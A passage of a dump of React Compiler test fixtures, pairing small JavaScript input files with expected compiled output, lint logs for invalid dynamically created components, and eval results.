    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-simple.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction foo() {\n  let x = 1;\n  let y = 2;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: [],\n  isComponent: false,\n};\n\n```\n\n## Code\n\n```javascript\nfunction foo() {}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: [],\n  isComponent: false,\n};\n\n```\n      \n### Eval output\n(kind: ok) "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-simple.js",
    "content": "function foo() {\n  let x = 1;\n  let y = 2;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: [],\n  isComponent: false,\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-single-if.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction foo() {\n  let x = 1;\n  let y = 2;\n\n  if (y) {\n    let z = x + y;\n  }\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: [],\n  isComponent: false,\n};\n\n```\n\n## Code\n\n```javascript\nfunction foo() {}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: [],\n  isComponent: false,\n};\n\n```\n      \n### Eval output\n(kind: ok) "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-single-if.js",
    "content": "function foo() {\n  let x = 1;\n  let y = 2;\n\n  if (y) {\n    let z = x + y;\n  }\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: [],\n  isComponent: false,\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-switch.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction foo() {\n  let x = 1;\n\n  switch (x) {\n    case 1: {\n      x = x + 1;\n      break;\n    }\n    case 2: {\n      x = x + 2;\n      break;\n    }\n    default: {\n      x = x + 3;\n    }\n  }\n\n  let y = x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: [],\n  isComponent: false,\n};\n\n```\n\n## Code\n\n```javascript\nfunction foo() {\n  bb0: switch (1) {\n    case 1: {\n      break bb0;\n    }\n    case 2: {\n      break bb0;\n    }\n    default:\n  }\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: [],\n  isComponent: false,\n};\n\n```\n      \n### Eval output\n(kind: ok) "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-switch.js",
    "content": "function foo() {\n  let x = 1;\n\n  switch (x) {\n    case 1: {\n      x = x + 1;\n      break;\n    }\n    case 2: {\n      x = x + 2;\n      break;\n    }\n    default: {\n      x = x + 3;\n    }\n  }\n\n  let y = x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: [],\n  isComponent: false,\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-throw.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction foo() {\n  let x = 1;\n  if (x === 1) {\n    x = 2;\n  }\n  throw x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: [],\n  isComponent: false,\n};\n\n```\n\n## Code\n\n```javascript\nfunction foo() {\n  throw 2;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: [],\n  isComponent: false,\n};\n\n```\n      \n### Eval output\n(kind: exception) undefined"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-throw.js",
    "content": "function foo() {\n  let x = 1;\n  if (x === 1) {\n    x = 2;\n  }\n  throw x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: [],\n  isComponent: false,\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-while-no-reassign.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction foo() {\n  let x = 1;\n  while (x < 10) {\n    x + 1;\n  }\n\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: [],\n  isComponent: false,\n};\n\n```\n\n## Code\n\n```javascript\nfunction foo() {\n  while (true) {}\n\n  return 1;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: [],\n  isComponent: false,\n};\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-while-no-reassign.js",
    "content": "function foo() {\n  let x = 1;\n  while (x < 10) {\n    x + 1;\n  }\n\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: [],\n  isComponent: false,\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-while.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction foo() {\n  let x = 1;\n  while (x < 10) {\n    x = x + 1;\n  }\n\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: [],\n  isComponent: false,\n};\n\n```\n\n## Code\n\n```javascript\nfunction foo() {\n  let x = 1;\n  while (x < 10) {\n    x = x + 1;\n  }\n\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: [],\n  isComponent: false,\n};\n\n```\n      \n### Eval output\n(kind: ok) 10"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-while.js",
    "content": "function foo() {\n  let x = 1;\n  while (x < 10) {\n    x = x + 1;\n  }\n\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: [],\n  isComponent: false,\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssr/optimize-ssr.expect.md",
    "content": "\n## Input\n\n```javascript\n// @enableOptimizeForSSR\nfunction Component() {\n  const [state, setState] = useState(0);\n  const ref = useRef(null);\n  const onChange = e => {\n    setState(e.target.value);\n  };\n  useEffect(() => {\n    log(ref.current.value);\n  });\n  return <input value={state} onChange={onChange} ref={ref} />;\n}\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @enableOptimizeForSSR\nfunction Component() {\n  const $ = _c(4);\n  const [state, setState] = useState(0);\n  const ref = useRef(null);\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t0 = (e) => {\n      setState(e.target.value);\n    };\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  const onChange = t0;\n  let t1;\n  if ($[1] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t1 = () => {\n      log(ref.current.value);\n    };\n    $[1] = t1;\n  } else {\n    t1 = $[1];\n  }\n  useEffect(t1);\n  let t2;\n  if ($[2] !== state) {\n    t2 = <input value={state} onChange={onChange} ref={ref} />;\n    $[2] = state;\n    $[3] = t2;\n  } else {\n    t2 = $[3];\n  }\n  return t2;\n}\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssr/optimize-ssr.js",
    "content": "// @enableOptimizeForSSR\nfunction Component() {\n  const [state, setState] = useState(0);\n  const ref = useRef(null);\n  const onChange = e => {\n    setState(e.target.value);\n  };\n  useEffect(() => {\n    log(ref.current.value);\n  });\n  return <input value={state} onChange={onChange} ref={ref} />;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssr/ssr-infer-event-handlers-from-setState.expect.md",
    "content": "\n## Input\n\n```javascript\n// @enableOptimizeForSSR\nfunction Component() {\n  const [state, setState] = useState(0);\n  const ref = useRef(null);\n  const onChange = e => {\n    // The known setState call allows us to infer this as an event handler\n    // and prune it\n    setState(e.target.value);\n  };\n  useEffect(() => {\n    log(ref.current.value);\n  });\n  return <CustomInput value={state} onChange={onChange} ref={ref} />;\n}\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @enableOptimizeForSSR\nfunction Component() {\n  const $ = _c(4);\n  const [state, setState] = useState(0);\n  const ref = useRef(null);\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t0 = (e) => {\n      setState(e.target.value);\n    };\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  const onChange = t0;\n  let t1;\n  if ($[1] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t1 = () => {\n      log(ref.current.value);\n    };\n    $[1] = t1;\n  } else {\n    t1 = $[1];\n  }\n  useEffect(t1);\n  let t2;\n  if ($[2] !== state) {\n    t2 = <CustomInput value={state} onChange={onChange} ref={ref} />;\n    $[2] = state;\n    $[3] = t2;\n  } else {\n    t2 = $[3];\n  }\n  return t2;\n}\n\n```\n      \n### Eval output\n(kind: exception) Fixture not implemented"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssr/ssr-infer-event-handlers-from-setState.js",
    "content": "// @enableOptimizeForSSR\nfunction Component() {\n  const [state, setState] = useState(0);\n  const ref = useRef(null);\n  const onChange = e => {\n    // The known setState call allows us to infer this as an event handler\n    // and prune it\n    setState(e.target.value);\n  };\n  useEffect(() => {\n    log(ref.current.value);\n  });\n  return <CustomInput value={state} onChange={onChange} ref={ref} />;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssr/ssr-infer-event-handlers-from-startTransition.expect.md",
    "content": "\n## Input\n\n```javascript\n// @enableOptimizeForSSR\nfunction Component() {\n  const [, startTransition] = useTransition();\n  const [state, setState] = useState(0);\n  const ref = useRef(null);\n  const onChange = e => {\n    // The known startTransition call allows us to infer this as an event handler\n    // and prune it\n    startTransition(() => {\n      setState.call(null, e.target.value);\n    });\n  };\n  useEffect(() => {\n    log(ref.current.value);\n  });\n  return <CustomInput value={state} onChange={onChange} ref={ref} />;\n}\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @enableOptimizeForSSR\nfunction Component() {\n  const $ = _c(4);\n  const [, startTransition] = useTransition();\n  const [state, setState] = useState(0);\n  const ref = useRef(null);\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t0 = (e) => {\n      startTransition(() => {\n        setState.call(null, e.target.value);\n      });\n    };\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  const onChange = t0;\n  let t1;\n  if ($[1] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t1 = () => {\n      log(ref.current.value);\n    };\n    $[1] = t1;\n  } else {\n    t1 = $[1];\n  }\n  useEffect(t1);\n  let t2;\n  if ($[2] !== state) {\n    t2 = <CustomInput value={state} onChange={onChange} ref={ref} />;\n    $[2] = state;\n    $[3] = t2;\n  } else {\n    t2 = $[3];\n  }\n  return t2;\n}\n\n```\n      \n### Eval output\n(kind: exception) Fixture not implemented"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssr/ssr-infer-event-handlers-from-startTransition.js",
    "content": "// @enableOptimizeForSSR\nfunction Component() {\n  const [, startTransition] = useTransition();\n  const [state, setState] = useState(0);\n  const ref = useRef(null);\n  const onChange = e => {\n    // The known startTransition call allows us to infer this as an event handler\n    // and prune it\n    startTransition(() => {\n      setState.call(null, e.target.value);\n    });\n  };\n  useEffect(() => {\n    log(ref.current.value);\n  });\n  return <CustomInput value={state} onChange={onChange} ref={ref} />;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssr/ssr-use-reducer-initializer.expect.md",
    "content": "\n## Input\n\n```javascript\n// @enableOptimizeForSSR\n\nimport {useReducer} from 'react';\n\nconst initializer = x => x;\n\nfunction Component() {\n  const [state, dispatch] = useReducer((_, next) => next, 0, initializer);\n  const ref = useRef(null);\n  const onChange = e => {\n    dispatch(e.target.value);\n  };\n  useEffect(() => {\n    log(ref.current.value);\n  });\n  return <input value={state} onChange={onChange} ref={ref} />;\n}\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @enableOptimizeForSSR\n\nimport { useReducer } from \"react\";\n\nconst initializer = (x) => {\n  return x;\n};\n\nfunction Component() {\n  const $ = _c(4);\n  const [state, dispatch] = useReducer(_temp, 0, initializer);\n  const ref = useRef(null);\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t0 = (e) => {\n      dispatch(e.target.value);\n    };\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  const onChange = t0;\n  let t1;\n  if ($[1] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t1 = () => {\n      log(ref.current.value);\n    };\n    $[1] = t1;\n  } else {\n    t1 = $[1];\n  }\n  useEffect(t1);\n  let t2;\n  if ($[2] !== state) {\n    t2 = <input value={state} onChange={onChange} ref={ref} />;\n    $[2] = state;\n    $[3] = t2;\n  } else {\n    t2 = $[3];\n  }\n  return t2;\n}\nfunction _temp(_, next) {\n  return next;\n}\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssr/ssr-use-reducer-initializer.js",
    "content": "// @enableOptimizeForSSR\n\nimport {useReducer} from 'react';\n\nconst initializer = x => x;\n\nfunction Component() {\n  const [state, dispatch] = useReducer((_, next) => next, 0, initializer);\n  const ref = useRef(null);\n  const onChange = e => {\n    dispatch(e.target.value);\n  };\n  useEffect(() => {\n    log(ref.current.value);\n  });\n  return <input value={state} onChange={onChange} ref={ref} />;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssr/ssr-use-reducer.expect.md",
    "content": "\n## Input\n\n```javascript\n// @enableOptimizeForSSR\n\nimport {useReducer} from 'react';\n\nfunction Component() {\n  const [state, dispatch] = useReducer((_, next) => next, 0);\n  const ref = useRef(null);\n  const onChange = e => {\n    dispatch(e.target.value);\n  };\n  useEffect(() => {\n    log(ref.current.value);\n  });\n  return <input value={state} onChange={onChange} ref={ref} />;\n}\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @enableOptimizeForSSR\n\nimport { useReducer } from \"react\";\n\nfunction Component() {\n  const $ = _c(4);\n  const [state, dispatch] = useReducer(_temp, 0);\n  const ref = useRef(null);\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t0 = (e) => {\n      dispatch(e.target.value);\n    };\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  const onChange = t0;\n  let t1;\n  if ($[1] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t1 = () => {\n      log(ref.current.value);\n    };\n    $[1] = t1;\n  } else {\n    t1 = $[1];\n  }\n  useEffect(t1);\n  let t2;\n  if ($[2] !== state) {\n    t2 = <input value={state} onChange={onChange} ref={ref} />;\n    $[2] = state;\n    $[3] = t2;\n  } else {\n    t2 = $[3];\n  }\n  return t2;\n}\nfunction _temp(_, next) {\n  return next;\n}\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssr/ssr-use-reducer.js",
    "content": "// @enableOptimizeForSSR\n\nimport {useReducer} from 'react';\n\nfunction Component() {\n  const [state, dispatch] = useReducer((_, next) => next, 0);\n  const ref = useRef(null);\n  const onChange = e => {\n    dispatch(e.target.value);\n  };\n  useEffect(() => {\n    log(ref.current.value);\n  });\n  return <input value={state} onChange={onChange} ref={ref} />;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/static-components/invalid-conditionally-assigned-dynamically-constructed-component-in-render.expect.md",
    "content": "\n## Input\n\n```javascript\n// @loggerTestOnly @validateStaticComponents @outputMode:\"lint\"\nfunction Example(props) {\n  let Component;\n  if (props.cond) {\n    Component = createComponent();\n  } else {\n    Component = DefaultComponent;\n  }\n  return <Component />;\n}\n\n```\n\n## Code\n\n```javascript\n// @loggerTestOnly @validateStaticComponents @outputMode:\"lint\"\nfunction Example(props) {\n  let Component;\n  if (props.cond) {\n    Component = createComponent();\n  } else {\n    Component = DefaultComponent;\n  }\n  return <Component />;\n}\n\n```\n\n## Logs\n\n```\n{\"kind\":\"CompileError\",\"detail\":{\"options\":{\"category\":\"StaticComponents\",\"reason\":\"Cannot create components during render\",\"description\":\"Components created during render will reset their state each time they are created. Declare components outside of render\",\"details\":[{\"kind\":\"error\",\"loc\":{\"start\":{\"line\":9,\"column\":10,\"index\":221},\"end\":{\"line\":9,\"column\":19,\"index\":230},\"filename\":\"invalid-conditionally-assigned-dynamically-constructed-component-in-render.ts\"},\"message\":\"This component is created during render\"},{\"kind\":\"error\",\"loc\":{\"start\":{\"line\":5,\"column\":16,\"index\":143},\"end\":{\"line\":5,\"column\":33,\"index\":160},\"filename\":\"invalid-conditionally-assigned-dynamically-constructed-component-in-render.ts\"},\"message\":\"The component is created during render here\"}]}},\"fnLoc\":null}\n{\"kind\":\"CompileSuccess\",\"fnLoc\":{\"start\":{\"line\":2,\"column\":0,\"index\":64},\"end\":{\"line\":10,\"column\":1,\"index\":236},\"filename\":\"invalid-conditionally-assigned-dynamically-constructed-component-in-render.ts\"},\"fnName\":\"Example\",\"memoSlots\":3,\"memoBlocks\":2,\"memoValues\":2,\"prunedMemoBlocks\":0,\"prunedMemoValues\":0}\n```\n      \n### Eval output\n(kind: exception) Fixture not implemented"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/static-components/invalid-conditionally-assigned-dynamically-constructed-component-in-render.js",
    "content": "// @loggerTestOnly @validateStaticComponents @outputMode:\"lint\"\nfunction Example(props) {\n  let Component;\n  if (props.cond) {\n    Component = createComponent();\n  } else {\n    Component = DefaultComponent;\n  }\n  return <Component />;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/static-components/invalid-dynamically-construct-component-in-render.expect.md",
    "content": "\n## Input\n\n```javascript\n// @loggerTestOnly @validateStaticComponents @outputMode:\"lint\"\nfunction Example(props) {\n  const Component = createComponent();\n  return <Component />;\n}\n\n```\n\n## Code\n\n```javascript\n// @loggerTestOnly @validateStaticComponents @outputMode:\"lint\"\nfunction Example(props) {\n  const Component = createComponent();\n  return <Component />;\n}\n\n```\n\n## Logs\n\n```\n{\"kind\":\"CompileError\",\"detail\":{\"options\":{\"category\":\"StaticComponents\",\"reason\":\"Cannot create components during render\",\"description\":\"Components created during render will reset their state each time they are created. Declare components outside of render\",\"details\":[{\"kind\":\"error\",\"loc\":{\"start\":{\"line\":4,\"column\":10,\"index\":139},\"end\":{\"line\":4,\"column\":19,\"index\":148},\"filename\":\"invalid-dynamically-construct-component-in-render.ts\"},\"message\":\"This component is created during render\"},{\"kind\":\"error\",\"loc\":{\"start\":{\"line\":3,\"column\":20,\"index\":110},\"end\":{\"line\":3,\"column\":37,\"index\":127},\"filename\":\"invalid-dynamically-construct-component-in-render.ts\"},\"message\":\"The component is created during render here\"}]}},\"fnLoc\":null}\n{\"kind\":\"CompileSuccess\",\"fnLoc\":{\"start\":{\"line\":2,\"column\":0,\"index\":64},\"end\":{\"line\":5,\"column\":1,\"index\":154},\"filename\":\"invalid-dynamically-construct-component-in-render.ts\"},\"fnName\":\"Example\",\"memoSlots\":1,\"memoBlocks\":1,\"memoValues\":1,\"prunedMemoBlocks\":0,\"prunedMemoValues\":0}\n```\n      \n### Eval output\n(kind: exception) Fixture not implemented"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/static-components/invalid-dynamically-construct-component-in-render.js",
    "content": "// @loggerTestOnly @validateStaticComponents @outputMode:\"lint\"\nfunction Example(props) {\n  const Component = createComponent();\n  return <Component />;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/static-components/invalid-dynamically-constructed-component-function.expect.md",
    "content": "\n## Input\n\n```javascript\n// @loggerTestOnly @validateStaticComponents @outputMode:\"lint\"\nfunction Example(props) {\n  function Component() {\n    return <div />;\n  }\n  return <Component />;\n}\n\n```\n\n## Code\n\n```javascript\n// @loggerTestOnly @validateStaticComponents @outputMode:\"lint\"\nfunction Example(props) {\n  function Component() {\n    return <div />;\n  }\n  return <Component />;\n}\n\n```\n\n## Logs\n\n```\n{\"kind\":\"CompileError\",\"detail\":{\"options\":{\"category\":\"StaticComponents\",\"reason\":\"Cannot create components during render\",\"description\":\"Components created during render will reset their state each time they are created. Declare components outside of render\",\"details\":[{\"kind\":\"error\",\"loc\":{\"start\":{\"line\":6,\"column\":10,\"index\":149},\"end\":{\"line\":6,\"column\":19,\"index\":158},\"filename\":\"invalid-dynamically-constructed-component-function.ts\"},\"message\":\"This component is created during render\"},{\"kind\":\"error\",\"loc\":{\"start\":{\"line\":3,\"column\":2,\"index\":92},\"end\":{\"line\":5,\"column\":3,\"index\":138},\"filename\":\"invalid-dynamically-constructed-component-function.ts\"},\"message\":\"The component is created during render here\"}]}},\"fnLoc\":null}\n{\"kind\":\"CompileSuccess\",\"fnLoc\":{\"start\":{\"line\":2,\"column\":0,\"index\":64},\"end\":{\"line\":7,\"column\":1,\"index\":164},\"filename\":\"invalid-dynamically-constructed-component-function.ts\"},\"fnName\":\"Example\",\"memoSlots\":1,\"memoBlocks\":1,\"memoValues\":1,\"prunedMemoBlocks\":0,\"prunedMemoValues\":0}\n```\n      \n### Eval output\n(kind: exception) Fixture not implemented"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/static-components/invalid-dynamically-constructed-component-function.js",
    "content": "// @loggerTestOnly @validateStaticComponents @outputMode:\"lint\"\nfunction Example(props) {\n  function Component() {\n    return <div />;\n  }\n  return <Component />;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/static-components/invalid-dynamically-constructed-component-method-call.expect.md",
    "content": "\n## Input\n\n```javascript\n// @loggerTestOnly @validateStaticComponents @outputMode:\"lint\"\nfunction Example(props) {\n  const Component = props.foo.bar();\n  return <Component />;\n}\n\n```\n\n## Code\n\n```javascript\n// @loggerTestOnly @validateStaticComponents @outputMode:\"lint\"\nfunction Example(props) {\n  const Component = props.foo.bar();\n  return <Component />;\n}\n\n```\n\n## Logs\n\n```\n{\"kind\":\"CompileError\",\"detail\":{\"options\":{\"category\":\"StaticComponents\",\"reason\":\"Cannot create components during render\",\"description\":\"Components created during render will reset their state each time they are created. Declare components outside of render\",\"details\":[{\"kind\":\"error\",\"loc\":{\"start\":{\"line\":4,\"column\":10,\"index\":137},\"end\":{\"line\":4,\"column\":19,\"index\":146},\"filename\":\"invalid-dynamically-constructed-component-method-call.ts\"},\"message\":\"This component is created during render\"},{\"kind\":\"error\",\"loc\":{\"start\":{\"line\":3,\"column\":20,\"index\":110},\"end\":{\"line\":3,\"column\":35,\"index\":125},\"filename\":\"invalid-dynamically-constructed-component-method-call.ts\"},\"message\":\"The component is created during render here\"}]}},\"fnLoc\":null}\n{\"kind\":\"CompileSuccess\",\"fnLoc\":{\"start\":{\"line\":2,\"column\":0,\"index\":64},\"end\":{\"line\":5,\"column\":1,\"index\":152},\"filename\":\"invalid-dynamically-constructed-component-method-call.ts\"},\"fnName\":\"Example\",\"memoSlots\":4,\"memoBlocks\":2,\"memoValues\":2,\"prunedMemoBlocks\":0,\"prunedMemoValues\":0}\n```\n      \n### Eval output\n(kind: exception) Fixture not implemented"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/static-components/invalid-dynamically-constructed-component-method-call.js",
    "content": "// @loggerTestOnly @validateStaticComponents @outputMode:\"lint\"\nfunction Example(props) {\n  const Component = props.foo.bar();\n  return <Component />;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/static-components/invalid-dynamically-constructed-component-new.expect.md",
    "content": "\n## Input\n\n```javascript\n// @loggerTestOnly @validateStaticComponents @outputMode:\"lint\"\nfunction Example(props) {\n  const Component = new ComponentFactory();\n  return <Component />;\n}\n\n```\n\n## Code\n\n```javascript\n// @loggerTestOnly @validateStaticComponents @outputMode:\"lint\"\nfunction Example(props) {\n  const Component = new ComponentFactory();\n  return <Component />;\n}\n\n```\n\n## Logs\n\n```\n{\"kind\":\"CompileError\",\"detail\":{\"options\":{\"category\":\"StaticComponents\",\"reason\":\"Cannot create components during render\",\"description\":\"Components created during render will reset their state each time they are created. Declare components outside of render\",\"details\":[{\"kind\":\"error\",\"loc\":{\"start\":{\"line\":4,\"column\":10,\"index\":144},\"end\":{\"line\":4,\"column\":19,\"index\":153},\"filename\":\"invalid-dynamically-constructed-component-new.ts\"},\"message\":\"This component is created during render\"},{\"kind\":\"error\",\"loc\":{\"start\":{\"line\":3,\"column\":20,\"index\":110},\"end\":{\"line\":3,\"column\":42,\"index\":132},\"filename\":\"invalid-dynamically-constructed-component-new.ts\"},\"message\":\"The component is created during render here\"}]}},\"fnLoc\":null}\n{\"kind\":\"CompileSuccess\",\"fnLoc\":{\"start\":{\"line\":2,\"column\":0,\"index\":64},\"end\":{\"line\":5,\"column\":1,\"index\":159},\"filename\":\"invalid-dynamically-constructed-component-new.ts\"},\"fnName\":\"Example\",\"memoSlots\":1,\"memoBlocks\":1,\"memoValues\":1,\"prunedMemoBlocks\":0,\"prunedMemoValues\":0}\n```\n      \n### Eval output\n(kind: exception) Fixture not implemented"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/static-components/invalid-dynamically-constructed-component-new.js",
    "content": "// @loggerTestOnly @validateStaticComponents @outputMode:\"lint\"\nfunction Example(props) {\n  const Component = new ComponentFactory();\n  return <Component />;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/store-via-call.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction foo() {\n  const x = {};\n  const y = foo(x);\n  y.mutate();\n  return x;\n}\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction foo() {\n  const $ = _c(1);\n  let x;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    x = {};\n    const y = foo(x);\n    y.mutate();\n    $[0] = x;\n  } else {\n    x = $[0];\n  }\n  return x;\n}\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/store-via-call.js",
    "content": "function foo() {\n  const x = {};\n  const y = foo(x);\n  y.mutate();\n  return x;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/store-via-new.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Foo() {\n  const x = {};\n  const y = new Foo(x);\n  y.mutate();\n  return x;\n}\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction Foo() {\n  const $ = _c(1);\n  let x;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    x = {};\n    const y = new Foo(x);\n    y.mutate();\n    $[0] = x;\n  } else {\n    x = $[0];\n  }\n  return x;\n}\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/store-via-new.js",
    "content": "function Foo() {\n  const x = {};\n  const y = new Foo(x);\n  y.mutate();\n  return x;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/switch-global-propertyload-case-test.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component(props) {\n  switch (props.value) {\n    case Global.Property: {\n      return true;\n    }\n    default: {\n      return false;\n    }\n  }\n}\n\n```\n\n## Code\n\n```javascript\nfunction Component(props) {\n  switch (props.value) {\n    case Global.Property: {\n      return true;\n    }\n    default: {\n      return false;\n    }\n  }\n}\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/switch-global-propertyload-case-test.js",
    "content": "function Component(props) {\n  switch (props.value) {\n    case Global.Property: {\n      return true;\n    }\n    default: {\n      return false;\n    }\n  }\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/switch-non-final-default.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component(props) {\n  let x = [];\n  let y;\n  switch (props.p0) {\n    case 1: {\n      break;\n    }\n    case true: {\n      x.push(props.p2);\n      y = [];\n    }\n    default: {\n      break;\n    }\n    case false: {\n      y = x;\n      break;\n    }\n  }\n  const child = <Component data={x} />;\n  y.push(props.p4);\n  return <Component data={y}>{child}</Component>;\n}\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction Component(props) {\n  const $ = _c(8);\n  let t0;\n  let y;\n  if ($[0] !== props.p0 || $[1] !== props.p2) {\n    const x = [];\n    bb0: switch (props.p0) {\n      case 1: {\n        break bb0;\n      }\n      case true: {\n        x.push(props.p2);\n        let t1;\n        if ($[4] === Symbol.for(\"react.memo_cache_sentinel\")) {\n          t1 = [];\n          $[4] = t1;\n        } else {\n          t1 = $[4];\n        }\n        y = t1;\n      }\n      default: {\n        break bb0;\n      }\n      case false: {\n        y = x;\n      }\n    }\n    t0 = <Component data={x} />;\n    $[0] = props.p0;\n    